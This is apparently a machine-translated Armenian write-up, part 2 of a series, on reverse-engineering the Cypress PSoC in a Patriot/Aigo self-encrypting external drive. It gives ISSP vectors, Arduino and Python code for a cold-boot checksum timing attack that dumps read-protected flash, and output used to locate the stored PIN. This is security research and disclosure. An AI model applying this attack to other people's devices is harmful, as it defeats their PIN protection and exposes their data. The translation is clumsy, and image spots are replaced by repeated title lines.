Aigo-ի ինքնագաղտնագրող արտաքին HDD սկավառակի հետ շրջում և կոտրում: Մաս 2. Cypress PSoC-ից աղբավայր վերցնելը

Սա հոդվածի երկրորդ և վերջին մասն է արտաքին ինքնագաղտնագրող կրիչներ կոտրելու մասին։ Հիշեցնեմ, որ վերջերս գործընկերներից մեկն ինձ բերեց Patriot (Aigo) SK8671 կոշտ սկավառակ, և ես որոշեցի հետափոխել այն, և այժմ կիսվում եմ այն, ինչ ստացվել է դրանից: Նախքան հետագա կարդալը, անպայման կարդացեք առաջին մաս հոդվածներ:

4. Մենք սկսում ենք աղբավայր վերցնել ներքին PSoC ֆլեշ կրիչից
5. ISSP արձանագրություն
- 5.1. Ինչ է ISSP-ն
– 5.2. Առեղծվածային վեկտորներ
- 5.3. Հաղորդակցություն PSoC-ի հետ
- 5.4. Չիպային ռեգիստրների նույնականացում
- 5.5. Անվտանգության բիթեր
6. Առաջին (ձախողված) հարձակումը՝ ROMX
7. Երկրորդ հարձակումը. Cold Boot Tracing
- 7.1. Իրականացում
– 7.2. Արդյունքը կարդալը
- 7.3. Ֆլեշ երկուական վերակառուցում
- 7.4. Գտեք PIN կոդի պահպանման հասցեն
- 7.5. Թիվ 126 բլոկի աղբավայր վերցնելը
- 7.6. PIN կոդի վերականգնում
8. Ի՞նչ է հաջորդը:
9. Եզրակացություն

Aigo-ի ինքնագաղտնագրող արտաքին HDD սկավառակի հետ շրջում և կոտրում: Մաս 2. Cypress PSoC-ից աղբավայր վերցնելը


4. Մենք սկսում ենք աղբավայր վերցնել ներքին PSoC ֆլեշ կրիչից

Այսպիսով, ամեն ինչ ցույց է տալիս (ինչպես մենք հաստատեցինք [առաջին մասում]()), որ PIN կոդը պահվում է PSoC-ի ֆլեշ խորություններում: Հետեւաբար, մենք պետք է կարդանք այս ֆլեշ խորքերը: Անհրաժեշտ աշխատանքի ճակատ.

  • վերահսկել «հաղորդակցությունը» միկրոկոնտրոլերի հետ.
  • գտնել միջոց՝ ստուգելու, թե արդյոք այս «հաղորդակցությունը» պաշտպանված է դրսից կարդալուց.
  • գտնել պաշտպանությունը շրջանցելու միջոց.

Երկու տեղ կա, որտեղ իմաստ ունի փնտրել վավեր PIN կոդ.

  • ներքին ֆլեշ հիշողություն;
  • SRAM, որտեղ կարող է պահվել փին կոդը՝ այն օգտագործողի կողմից մուտքագրված փին կոդի հետ համեմատելու համար:

Նայելով առաջ՝ ես կնշեմ, որ ես դեռ կարողացա վերցնել ներքին PSoC ֆլեշ կրիչը՝ շրջանցելով դրա անվտանգության համակարգը՝ օգտագործելով «սառը բեռնախցիկի հետագծում» կոչվող ապարատային հարձակումը, ISSP արձանագրության չփաստաթղթավորված հնարավորությունները շրջելուց հետո: Սա թույլ տվեց ինձ ուղղակիորեն հեռացնել իրական PIN կոդը:

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Ծրագրի վերջնական կոդը.

5. ISSP արձանագրություն

5.1. Ինչ է ISSP-ն

«Հաղորդակցությունը» միկրոկոնտրոլերի հետ կարող է նշանակել տարբեր բաներ՝ «վաճառողից մինչև վաճառող» մինչև սերիական արձանագրության միջոցով փոխազդեցություն (օրինակ՝ ICSP Microchip-ի PIC-ի համար):

Cypress-ն ունի դրա համար սեփական սեփականության արձանագրություն, որը կոչվում է ISSP (ներհամակարգային սերիական ծրագրավորման արձանագրություն), որը մասամբ նկարագրված է. տեխնիկական բնութագրում. Արտոնագիր US7185162 տալիս է նաև որոշ տեղեկություններ. Կա նաև OpenSource-ի համարժեք, որը կոչվում է HSSP (մենք կօգտագործենք այն մի փոքր ուշ): ISSP-ն աշխատում է հետևյալ կերպ.

  • վերաբեռնել PSoC;
  • թողարկեք կախարդական համարը այս PSoC-ի սերիական տվյալների փինին. արտաքին ծրագրավորման ռեժիմ մտնելու համար;
  • ուղարկել հրամաններ, որոնք երկար բիթային տողեր են, որոնք կոչվում են «վեկտորներ»:

ISSP փաստաթղթերը սահմանում են այս վեկտորները միայն մի փոքր բուռ հրամանների համար.

  • Նախաձեռնել-1
  • Նախաձեռնել-2
  • Initialize-3 (3V և 5V տարբերակներ)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM՝ 10011111010ddddddd111, որտեղ dddddddd=բլոկ #
  • ՍՈՒՐԲ ՋՆԵԼ
  • ԾՐԱԳԻՐ-ԲԼՈԿ
  • ՀԱՍՏԱՏՈՒՄ-ԿԱՐԳԱՎՈՐՈՒՄ
  • READ-BYTE՝ 10110aaaaaaZDDDDDDDDDZ1, որտեղ DDDDDDDD = տվյալների դուրսբերում, aaaaaa = հասցե (6 բիթ)
  • WRITE-BYTE. 10010aaaaaaddddddd111, որտեղ dddddddd = տվյալներ են, aaaaaa = հասցե (6 բիթ)
  • SECURE- ը
  • ՉԵՔՍՈՒՄ-ԿԱՐԳԱՎՈՐՈՒՄ
  • READ-CHECKUM: 10111111001ZDDDDDDDDDZ110111111000ZDDDDDDDDZ1, որտեղ DDDDDDDDDDDDDDDDDD = տվյալների դուրս. սարքի ստուգման գումար
  • ՋՆԵԼ ԲԼՈՔԸ

Օրինակ, Initialize-2-ի վեկտորը.

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Բոլոր վեկտորներն ունեն նույն երկարությունը՝ 22 բիթ: HSSP-ի փաստաթղթերում կան լրացուցիչ տեղեկություններ ISSP-ի վերաբերյալ. «ISSP վեկտորը ոչ այլ ինչ է, քան մի բիթային հաջորդականություն, որը ներկայացնում է հրահանգների մի շարք»:

5.2. Առեղծվածային վեկտորներ

Եկեք պարզենք, թե ինչ է կատարվում այստեղ: Սկզբում ես ենթադրում էի, որ այս նույն վեկտորները M8C հրահանգների չմշակված տարբերակներն են, բայց այս վարկածը ստուգելուց հետո հայտնաբերեցի, որ գործողությունների օպերացիոն կոդերը չեն համընկնում:

Հետո գուգլեցի վերևի վեկտորը և հանդիպեցի այստեղ է մի ուսումնասիրություն, որտեղ հեղինակը, թեև չի մանրամասնում, տալիս է մի քանի օգտակար խորհուրդ. «Յուրաքանչյուր հրահանգ սկսվում է երեք բիթով, որոնք համապատասխանում են չորս մնեմոնիկներից մեկին (կարդալ RAM-ից, գրել RAM-ում, կարդալ ռեգիստր, գրել ռեգիստր): Այնուհետև կա 8 հասցեի բիթ, որին հաջորդում են 8 տվյալների բիթ (կարդալ կամ գրել) և վերջապես երեք կանգառ բիթ»:

Այնուհետև ես կարողացա հավաքել մի քանի շատ օգտակար տեղեկատվություն Վերահսկիչ ROM (SROM) բաժնից: տեխնիկական ձեռնարկ. SROM-ը կոշտ կոդավորված ROM է PSoC-ում, որն ապահովում է օգտակար գործառույթներ (նմանապես Syscall-ի ձևով)՝ օգտվողի տարածքում աշխատող ծրագրի կոդի համար.

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03 ժ․ ջնջել արգելափակում
  • 06h: Սեղանի ընթերցում
  • 07h: CheckSum
  • 08h. Calibrate0
  • 09h. Calibrate1

Համեմատելով վեկտորների անունները SROM ֆունկցիաների հետ՝ մենք կարող ենք այս արձանագրության կողմից աջակցվող տարբեր գործառնությունները քարտեզագրել սպասվող SROM պարամետրերին: Դրա շնորհիվ մենք կարող ենք վերծանել ISSP վեկտորների առաջին երեք բիթերը.

  • 100 => «wrem»
  • 101 => «րդմեմ»
  • 110 => «wrreg»
  • 111 => «ռեգեջ»

Այնուամենայնիվ, չիպային գործընթացների ամբողջական պատկերացում կարելի է ստանալ միայն PSoC-ի հետ անմիջական շփման միջոցով:

5.3. Հաղորդակցություն PSoC-ի հետ

Քանի որ Դիրկ Պետրաուցկին արդեն տեղափոխված Cypress-ի HSSP կոդը Arduino-ում, ես օգտագործել եմ Arduino Uno ստեղնաշարի տախտակի ISSP միակցիչին միանալու համար:

Խնդրում ենք նկատի ունենալ, որ իմ հետազոտության ընթացքում ես բավականին փոխեցի Դիրքի կոդը: Դուք կարող եք գտնել իմ փոփոխությունը GitHub-ում. այստեղ և Arduino-ի հետ շփվելու համապատասխան Python սկրիպտը՝ իմ պահոցում cypress_psoc_tools.

Այսպիսով, օգտագործելով Arduino, ես սկզբում օգտագործեցի միայն «պաշտոնական» վեկտորները «հաղորդակցության» համար: Ես փորձեցի կարդալ ներքին ROM-ը, օգտագործելով VERIFY հրամանը: Ինչպես և սպասվում էր, ես չկարողացա դա անել: Հավանաբար այն պատճառով, որ ընթերցման պաշտպանության բիթերը ակտիվացված են ֆլեշ կրիչի ներսում:

Այնուհետև ես ստեղծեցի իմ մի քանի պարզ վեկտորներ հիշողության/գրանցիչների գրելու և կարդալու համար: Խնդրում ենք նկատի ունենալ, որ մենք կարող ենք կարդալ ամբողջ SROM-ը, թեև ֆլեշ կրիչը պաշտպանված է:

5.4. Չիպային ռեգիստրների նույնականացում

«Ապամոնտաժված» վեկտորներին նայելուց հետո ես հայտնաբերեցի, որ սարքն օգտագործում է չփաստաթղթավորված ռեգիստրներ (0xF8-0xFA)՝ նշելու M8C օպերացիոն կոդերը, որոնք ուղղակիորեն կատարվում են՝ շրջանցելով պաշտպանությունը: Սա ինձ թույլ տվեց գործարկել տարբեր օպերացիոն կոդեր, ինչպիսիք են «ADD», «MOV A, X», «PUSH» կամ «JMP»: Նրանց շնորհիվ (դիտելով ռեգիստրների վրա նրանց ունեցած կողմնակի ազդեցությունները) ես կարողացա որոշել, թե չփաստաթղթավորված ռեգիստրներից որոնք են իրականում սովորական ռեգիստրներ (A, X, SP և PC):

Արդյունքում, HSSP_disas.rb գործիքի կողմից ստեղծված «ապամոնտաժված» կոդը այսպիսի տեսք ունի (պարզության համար ես ավելացրել եմ մեկնաբանություններ).

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Անվտանգության բիթեր

Այս փուլում ես արդեն կարող եմ շփվել PSoC-ի հետ, բայց դեռ վստահելի տեղեկություն չունեմ ֆլեշ կրիչի անվտանգության բիթերի մասին։ Ինձ շատ զարմացրեց այն փաստը, որ Cypress-ը սարքից օգտվողին ոչ մի միջոց չի տրամադրում ստուգելու՝ արդյոք պաշտպանությունն ակտիվացված է։ Ես ավելի խորացա Google-ում, որպեսզի վերջապես հասկանամ, որ Cypress-ի տրամադրած HSSP կոդը թարմացվել է այն բանից հետո, երբ Դիրքը թողարկեց իր փոփոխությունը: Եւ այսպես! Այս նոր վեկտորը հայտնվել է.

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Օգտագործելով այս վեկտորը (տես read_security_data psoc.py-ում), մենք ստանում ենք SRAM-ի բոլոր անվտանգության բիթերը 0x80-ով, որտեղ յուրաքանչյուր պաշտպանված բլոկում կա երկու բիթ:

Արդյունքը ճնշող է. ամեն ինչ պաշտպանված է «անջատել արտաքին ընթերցումը և գրելը» ռեժիմում: Հետևաբար, մենք ոչ միայն չենք կարող որևէ բան կարդալ ֆլեշ կրիչից, այլև չենք կարող որևէ բան գրել (օրինակ, այնտեղ ROM-ի ինքնաթափ տեղադրելու համար): Իսկ պաշտպանությունն անջատելու միակ միջոցը ամբողջ չիպն ամբողջությամբ ջնջելն է։ 🙁

6. Առաջին (ձախողված) հարձակումը՝ ROMX

Այնուամենայնիվ, մենք կարող ենք փորձել հետևյալ հնարքը. քանի որ մենք ունենք կամայական օպերացիոն կոդեր գործարկելու հնարավորություն, ինչու՞ չգործարկել ROMX-ը, որն օգտագործվում է ֆլեշ հիշողություն կարդալու համար: Այս մոտեցումը հաջողության լավ հնարավորություն ունի: Քանի որ ReadBlock ֆունկցիան, որը կարդում է տվյալներ SROM-ից (որն օգտագործվում է վեկտորների կողմից), ստուգում է, թե արդյոք այն կանչվում է ISSP-ից: Այնուամենայնիվ, ROMX opcode-ը, հնարավոր է, նման ստուգում չունենա: Այսպիսով, ահա Python կոդը (Arduino կոդին մի քանի օգնական դասեր ավելացնելուց հետո).

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Ցավոք, այս կոդը չի աշխատում: 🙁 Ավելի ճիշտ այն աշխատում է, բայց մենք ելքի վրա ստանում ենք մեր սեփական օպերացիոն կոդերը (0x28 0x30 0x40): Չեմ կարծում, որ սարքի համապատասխան ֆունկցիոնալությունը ընթերցանության պաշտպանության տարր է։ Սա ավելի շատ նման է ինժեներական հնարքի. արտաքին օպերացիոն կոդերի գործարկման ժամանակ ROM ավտոբուսը վերահղվում է ժամանակավոր բուֆեր:

7. Երկրորդ հարձակումը. Cold Boot Tracing

Քանի որ ROMX հնարքը չաշխատեց, ես սկսեցի մտածել այս հնարքի մեկ այլ տարբերակի մասին, որը նկարագրված է հրապարակման մեջ. «Չափից շատ լույս սփռելով միկրոկոնտրոլերի որոնվածի պաշտպանության վրա».

7.1. Իրականացում

ISSP-ի փաստաթղթերը CHECKSUM-SETUP-ի համար ապահովում են հետևյալ վեկտորը.

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Սա, ըստ էության, անվանում է SROM ֆունկցիա 0x07, ինչպես ներկայացված է փաստաթղթերում (շեղատառերը իմն են).

Այս ֆունկցիայի ստուգիչ գումարի ստուգում: Այն հաշվարկում է 16-բիթանոց ստուգման գումարը օգտատիրոջ կողմից նշված բլոկների քանակի մեկ ֆլեշ բանկում՝ սկսած զրոյից: BLOCKID պարամետրն օգտագործվում է բլոկների քանակը փոխանցելու համար, որոնք կօգտագործվեն ստուգիչ գումարը հաշվարկելիս: «1» արժեքը կհաշվի միայն ստուգիչ գումարը զրոյի բլոկի համար. մինչդեռ «0»-ը կհանգեցնի ֆլեշ բանկի բոլոր 256 բլոկների ընդհանուր ստուգման գումարի հաշվարկմանը: 16-բիթանոց ստուգման գումարը վերադարձվում է KEY1-ի և KEY2-ի միջոցով: KEY1 պարամետրը պահում է ստուգիչ գումարի ցածր կարգի 8 բիթ, իսկ KEY2 պարամետրը՝ բարձր կարգի 8 բիթ: Մի քանի ֆլեշ բանկ ունեցող սարքերի համար ստուգիչ գումարի ֆունկցիան կանչվում է յուրաքանչյուրի համար առանձին: Բանկի համարը, որով այն կաշխատի, սահմանվում է FLS_PR1 ռեգիստրով (դրա մեջ դնելով թիրախային ֆլեշ բանկին համապատասխան բիթը):

Նկատի ունեցեք, որ սա պարզ ստուգման գումար է. բայթերը պարզապես ավելացվում են մեկը մյուսի հետևից; ոչ մի շքեղ CRC տարօրինակություններ: Բացի այդ, իմանալով, որ M8C միջուկն ունի ռեգիստրների շատ փոքր շարք, ես ենթադրեցի, որ ստուգիչ գումարը հաշվարկելիս միջանկյալ արժեքները կգրանցվեն նույն փոփոխականներում, որոնք, ի վերջո, կգնան դեպի ելք՝ KEY1 (0xF8) / KEY2 ( 0xF9):

Այսպիսով, իմ հարձակումը տեսականորեն այսպիսին է թվում.

  1. Մենք կապում ենք ISSP-ի միջոցով:
  2. Մենք սկսում ենք չեկային գումարի հաշվարկը՝ օգտագործելով CHECKSUM-SETUP վեկտորը:
  3. Մենք վերաբեռնում ենք պրոցեսորը նշված ժամանակից հետո:
  4. Մենք կարդում ենք RAM-ը, որպեսզի ստանանք ընթացիկ ստուգիչ գումարը C:
  5. Կրկնեք 3-րդ և 4-րդ քայլերը՝ ամեն անգամ մի փոքր ավելացնելով T-ն:
  6. Մենք վերականգնում ենք տվյալները ֆլեշ կրիչից՝ հանելով նախորդ ստուգիչ գումարը C ընթացիկից:

Այնուամենայնիվ, խնդիր կա. Initialize-1 վեկտորը, որը մենք պետք է ուղարկենք վերաբեռնումից հետո, վերագրանցում է KEY1 և KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Այս կոդը վերագրանցում է մեր թանկարժեք ստուգման գումարը՝ զանգահարելով Calibrate1 (SROM ֆունկցիա 9)... Միգուցե մենք պարզապես կարող ենք ուղարկել կախարդական համարը (վերևի կոդի սկզբից) ծրագրավորման ռեժիմ մտնելու համար, իսկ հետո կարդալ SRAM-ը: Եվ այո, այն աշխատում է: Այս հարձակումն իրականացնող Arduino կոդը բավականին պարզ է.

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Կարդացեք checkum_delay:
  2. Գործարկել չեկային գումարի հաշվարկը (send_checksum_v):
  3. Սպասեք որոշակի ժամանակահատվածի; հաշվի առնելով հետևյալ թակարդները.
    • Շատ ժամանակ կորցրի, մինչև պարզեցի, թե ինչ է ստացվում հետաձգելՄիկրովայրկյաններ ճիշտ է աշխատում միայն 16383 մկվ-ը չգերազանցող ուշացումներով;
    • և այնուհետև նորից սպանվեց նույնքան ժամանակ, մինչև ես հայտնաբերեցի, որ հետաձգումըՄիկրովայրկյանները, եթե 0-ը փոխանցվում է դրան որպես մուտքագրում, լիովին սխալ է աշխատում:
  4. Վերագործարկեք PSoC-ը ծրագրավորման ռեժիմում (մենք ուղղակի ուղարկում ենք կախարդական համարը՝ առանց սկզբնավորման վեկտորներ ուղարկելու):

Վերջնական կոդը Python-ում.

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Մի խոսքով, ինչ է անում այս կոդը.

  1. Վերագործարկում է PSoC-ը (և ուղարկում է կախարդական համար):
  2. Ուղարկում է ամբողջական սկզբնավորման վեկտորներ:
  3. Կանչում է Arduino ֆունկցիան Cmnd_STK_START_CSUM (0x85), որտեղ ուշացումը միկրովայրկյաններով փոխանցվում է որպես պարամետր:
  4. Կարդում է ստուգիչ գումարը (0xF8 և 0xF9) և 0xF1 չփաստաթղթավորված ռեգիստրը:

Այս կոդը կատարվում է 10 անգամ 1 միկրովայրկյանում։ 0xF1-ը ներառված է այստեղ, քանի որ դա միակ ռեգիստրն էր, որը փոխվեց չեկային գումարը հաշվարկելիս: Թերևս դա ինչ-որ ժամանակավոր փոփոխական է, որն օգտագործվում է թվաբանական տրամաբանական միավորի կողմից: Ուշադրություն դարձրեք այն տգեղ թալանին, որը ես օգտագործում եմ Picocom-ի միջոցով Arduino-ն վերականգնելու համար, երբ Arduino-ն դադարում է կյանքի նշաններ ցույց տալ (պատկերացում չունեմ, թե ինչու):

7.2. Արդյունքը կարդալը

Python-ի սցենարի արդյունքն այսպիսին է թվում (ընթեռնելիության համար պարզեցված).

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Այսպես ասած, մենք խնդիր ունենք. քանի որ մենք աշխատում ենք փաստացի ստուգիչ գումարով, զրոյական բայթը չի փոխում ընթերցված արժեքը: Այնուամենայնիվ, քանի որ ամբողջ հաշվարկման ընթացակարգը (8192 բայթ) տևում է 0,1478 վայրկյան (յուրաքանչյուր գործարկման ժամանակ աննշան տատանումներով), որը հավասար է մոտավորապես 18,04 մկվ մեկ բայթի համար, մենք կարող ենք օգտագործել այս ժամանակը համապատասխան ժամանակներում ստուգիչ գումարի արժեքը ստուգելու համար: Առաջին գործարկումների համար ամեն ինչ շատ հեշտ է ընթերցվում, քանի որ հաշվարկային ընթացակարգի տևողությունը միշտ գրեթե նույնն է: Այնուամենայնիվ, այս աղբավայրի ավարտը ավելի քիչ ճշգրիտ է, քանի որ յուրաքանչյուր վազքի ժամանակ «փոքր ժամանակի շեղումները» գումարվում են և դառնում էական.

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Դա 10 աղբանոց է յուրաքանչյուր միկրովայրկյան ուշացման համար: Ֆլեշ կրիչի բոլոր 8192 բայթը թափելու ընդհանուր գործառնական ժամանակը կազմում է մոտ 48 ժամ:

7.3. Ֆլեշ երկուական վերակառուցում

Ես դեռ չեմ ավարտել այն կոդը գրելը, որն ամբողջությամբ կվերակառուցի ֆլեշ կրիչի ծրագրային կոդը՝ հաշվի առնելով ժամանակի բոլոր շեղումները։ Այնուամենայնիվ, ես արդեն վերականգնել եմ այս կոդի սկիզբը։ Համոզվելու համար, որ ես դա ճիշտ եմ արել, ես այն ապամոնտաժեցի՝ օգտագործելով m8cdis.

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Միանգամայն հավանական է թվում:

7.4. Գտեք PIN կոդի պահպանման հասցեն

Այժմ, երբ մենք կարող ենք կարդալ ստուգիչ գումարը մեզ անհրաժեշտ ժամանակներում, մենք հեշտությամբ կարող ենք ստուգել, ​​թե ինչպես և որտեղ է այն փոխվում, երբ մենք.

  • մուտքագրեք սխալ PIN կոդը;
  • փոխել փին կոդը:

Նախ՝ պահեստավորման մոտավոր հասցեն գտնելու համար, ես վերագործարկումից հետո 10 ms-ի չափով ցուցիչ վերցրեցի: Հետո ես սխալ PIN մուտքագրեցի և արեցի նույնը:

Արդյունքն այնքան էլ հաճելի չէր, քանի որ փոփոխությունները շատ էին։ Բայց վերջում ես կարողացա որոշել, որ ստուգման գումարը փոխվել է ինչ-որ տեղ 120000 մկվ-ի և 140000 մկվ ուշացման միջև: Բայց «փինկոդը», որը ես ցուցադրեցի այնտեղ, ամբողջովին սխալ էր՝ delayMicroseconds ընթացակարգի արտեֆակտի պատճառով, որը տարօրինակ բաներ է անում, երբ 0 փոխանցվում է դրան:

Այնուհետև, գրեթե 3 ժամ անցկացնելուց հետո, ես հիշեցի, որ SROM համակարգի կանչը CheckSum-ը ստանում է արգումենտ որպես մուտքագրում, որը նշում է չեկային գումարի բլոկների քանակը: Դա. մենք հեշտությամբ կարող ենք տեղայնացնել PIN կոդի պահպանման հասցեն և «սխալ փորձերի» հաշվիչը՝ մինչև 64 բայթ բլոկի ճշգրտությամբ:

Իմ նախնական վազքերը տվեցին հետևյալ արդյունքը.

Aigo-ի ինքնագաղտնագրող արտաքին HDD սկավառակի հետ շրջում և կոտրում: Մաս 2. Cypress PSoC-ից աղբավայր վերցնելը

Այնուհետև ես փոխեցի PIN կոդը «123456»-ից «1234567» և ստացա.

Aigo-ի ինքնագաղտնագրող արտաքին HDD սկավառակի հետ շրջում և կոտրում: Մաս 2. Cypress PSoC-ից աղբավայր վերցնելը

Այսպիսով, PIN կոդը և սխալ փորձերի հաշվիչը կարծես թե պահված են թիվ 126 բլոկում։

7.5. Թիվ 126 բլոկի աղբավայր վերցնելը

Թիվ 126 բլոկը պետք է տեղակայվի ինչ-որ տեղ 125x64x18 = 144000 μվ-ի սահմաններում, ստուգիչ գումարի հաշվարկի սկզբից, իմ ամբողջական աղբավայրում, և դա բավականին հավանական է թվում: Այնուհետև, բազմաթիվ անվավեր աղբավայրերը ձեռքով մաղելուց հետո («ժամանակային փոքր շեղումների» կուտակման պատճառով), ես ստացա այս բայթերը (145527 μs ուշացումով).

Aigo-ի ինքնագաղտնագրող արտաքին HDD սկավառակի հետ շրջում և կոտրում: Մաս 2. Cypress PSoC-ից աղբավայր վերցնելը

